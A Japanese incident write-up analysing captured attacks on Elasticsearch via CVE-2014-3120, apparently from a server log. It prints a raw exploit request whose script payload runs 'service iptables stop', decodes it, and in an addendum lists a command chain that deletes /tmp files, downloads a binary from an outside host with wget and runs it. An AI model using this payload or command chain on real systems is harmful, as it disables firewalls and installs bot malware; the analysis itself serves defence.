2014年11月、Elasticsearchの脆弱性(CVE-2014-3120)を狙った攻撃

tcp/9200に次のようなリクエストが来ていた。

GET /_search?source=%7B%22query%22%3A+%7B%22filtered%22%3A+%7B%22query%22%3A+%7B%22match_all%22%3A+%7B%7D%7D%7D%7D%2C+%22script_fields%22%3A+%7B%22exp%22%3A+%7B%22script%22%3A+%22import+java.util.%2A%3Bimport+java.io.%2A%3BString+str+%3D+%5C%22%5C%22%3BBufferedReader+br+%3D+new+BufferedReader%28new+InputStreamReader%28Runtime.getRuntime%28%29.exec%28%5C%22service+iptables+stop%5C%22%29.getInputStream%28%29%29%29%3BStringBuilder+sb+%3D+new+StringBuilder%28%29%3Bwhile%28%28str%3Dbr.readLine%28%29%29%21%3Dnull%29%7Bsb.append%28str%29%3Bsb.append%28%5C%22%5Cr%5Cn%5C%22%29%3B%7Dsb.toString%28%29%3B%22%7D%7D%2C+%22size%22%3A+1%7D HTTP/1.1
Host: XXX.XXX.XXX.XXX:9200
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.4.1 CPython/2.7.8 Windows/2003Server

パス部分をデコードした結果。

/_search?source={"query":+{"filtered":+{"query":+{"match_all":+{}}}},+"script_fields":+{"exp":+{"script":+"import+java.util.*;import+java.io.*;String+str+=+\"\";BufferedReader+br+=+new+BufferedReader(new+InputStreamReader(Runtime.getRuntime().exec(\"service+iptables+stop\").getInputStream()));StringBuilder+sb+=+new+StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}},+"size":+1}

Javaコードを整形した結果。

import java.util.*;
import java.io.*;

String str = "";
BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec("service iptables stop").getInputStream()));
StringBuilder sb = new StringBuilder();
while ((str = br.readLine()) != null) {
    sb.append(str);
    sb.append("\r\n");
}
sb.toString();

iptablesを止めようとしているようである。 ここから先の攻撃は捕捉できなかった。

IptabLex DDoS Botと関連があるかもしれない。

追記(2014-12-20)

どうやら同じ脆弱性複数回使うことで攻撃してくるようだ。 微妙にコマンドが違ったりするが、だいたい次のような流れでリクエストが来る。

service iptables stop
rm /tmp/*
wget -O /tmp/XXXX http://YYY.YYY.YYY.YYY:ZZZZ/XXXX
curl -o /tmp/XXXX
su root
chmod 777 /tmp/XXXX
nohup /tmp/XXXX > /dev/null 2>&1
/tmp/XXXX
./tmp/XXXX

調査時点でダウンロード可能だったファイルについて、VirusTotalで調べた結果は次の通り。

関連リンク